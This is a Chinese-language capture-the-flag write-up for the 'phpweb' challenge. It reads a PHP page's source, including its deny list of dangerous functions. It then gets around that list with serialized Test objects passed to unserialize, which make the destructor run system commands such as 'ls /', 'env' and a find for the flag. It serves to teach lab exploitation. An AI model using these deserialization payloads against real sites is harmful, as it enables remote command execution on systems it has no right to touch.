Bootstrap

BUUCTF_[网鼎杯 2020 朱雀组]phpweb(反序列化绕过命令)

打开靶场,,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看页面源代码,没有什么有用的信息

Burp抓包一下

调用了date()函数并回显在页面上,参数func是函数名,p是参数值

func=date&p=Y-m-d+h%3Ai%3As+a

  • func=date:指定要调用的函数为 date 函数。date 是 PHP 中用于格式化本地日期和时间的内置函数。
  • p=Y-m-d+h%3Ai%3As+ap 是传递给 date 函数的参数,经过 URL 解码后为 Y-m-d h:i:s a,这是 date 函数使用的日期和时间格式字符串,具体含义如下:
    • Y:表示四位数的年份,例如 2025。
    • m:表示两位数的月份,范围从 01 到 12。
    • d:表示两位数的日期,范围从 01 到 31。
    • h:表示 12 小时制的小时数,范围从 01 到 12。
    • i:表示分钟数,范围从 00 到 59。
    • s:表示秒数,范围从 00 到 59。
    • a:表示上午或下午,值为 ampm

date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

1.查看是否回显

抓包修改参数,用简单的小写转换函数来验证是否有命令执行,回显为ab

func=strtolower&p=AB

  • func=strtolower:明确要调用的函数为 strtolower。在 PHP 里,strtolower 函数的作用是将字符串中的所有大写字母转换为小写字母。
  • p=AB:这是传递给 strtolower 函数的参数,也就是要进行转换操作的字符串

 

2.查看根目录,被过滤

 用system()函数执行命令 

func=system&p=ls 

 

   提示     Hacker...   被禁止了

 

 

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

3.查看文件内容

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents()  highlight_file()   show_source()都可以,输入

  func=file_get_contents&p=index.php  

成功读取了index.php文件源码
 

 php代码审计

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
1. 禁用函数列表
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

定义了一个包含众多危险函数的数组 $disable_fun。这些函数可能被用于执行系统命令、读取文件内容、修改文件等操作,为防止恶意调用,将它们列入禁用名单。

2. gettime 函数
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}

该函数接收两个参数 $func$p,使用 call_user_func 动态调用 $func 函数并传入参数 $p。之后检查返回结果的类型,若为字符串则返回结果,否则返回空字符串。

3. Test
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

定义了 Test 类,包含两个属性 $p$func,分别初始化为日期格式字符串和 date 函数名。__destruct 是析构函数,当对象销毁时会调用 gettime 函数输出当前日期和时间。

4. 主逻辑
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}

从 HTTP 请求中获取 funcp 参数,将 func 转换为小写。若 func 不为空,检查其是否在禁用函数列表中。若不在,则调用 gettime 函数执行该函数并输出结果;若在,则终止脚本并输出 "Hacker..."

4.在funcp 参数内查看根目录

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

  • func=unserialize:指定要调用的函数为 unserializeunserialize 用于将序列化后的字符串反序列化为 PHP 对象或数组。
  • p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}:这是传递给 unserialize 函数的参数,是一个序列化后的字符串。具体解析如下:
    • O:4:"Test":表示这是一个类名为 Test 的对象,类名长度为 4。
    • 2:表示该对象有 2 个属性。
    • s:1:"p";s:4:"ls /";:表示属性 p 的值为字符串 "ls /",这是一个 Linux 系统命令,用于列出根目录下的所有文件和文件夹。
    • s:4:"func";s:6:"system";:表示属性 func 的值为字符串 "system"system 是 PHP 中用于执行系统命令的危险函数。

 

回显了根目录下的文件,但是没有发现flag文件

5.查看一下环境变量env 

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

 

 发现not_flag 那么flag应该是藏在某个目录下

6.使用find命令查找flag

构造system("find / -name *flag*")  用find查找所有文件名包含flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system"


                       

发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

7.查看该文件,得到flag

func=readfile&p=/tmp/flagoefiu4r93

参考链接:[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

 

;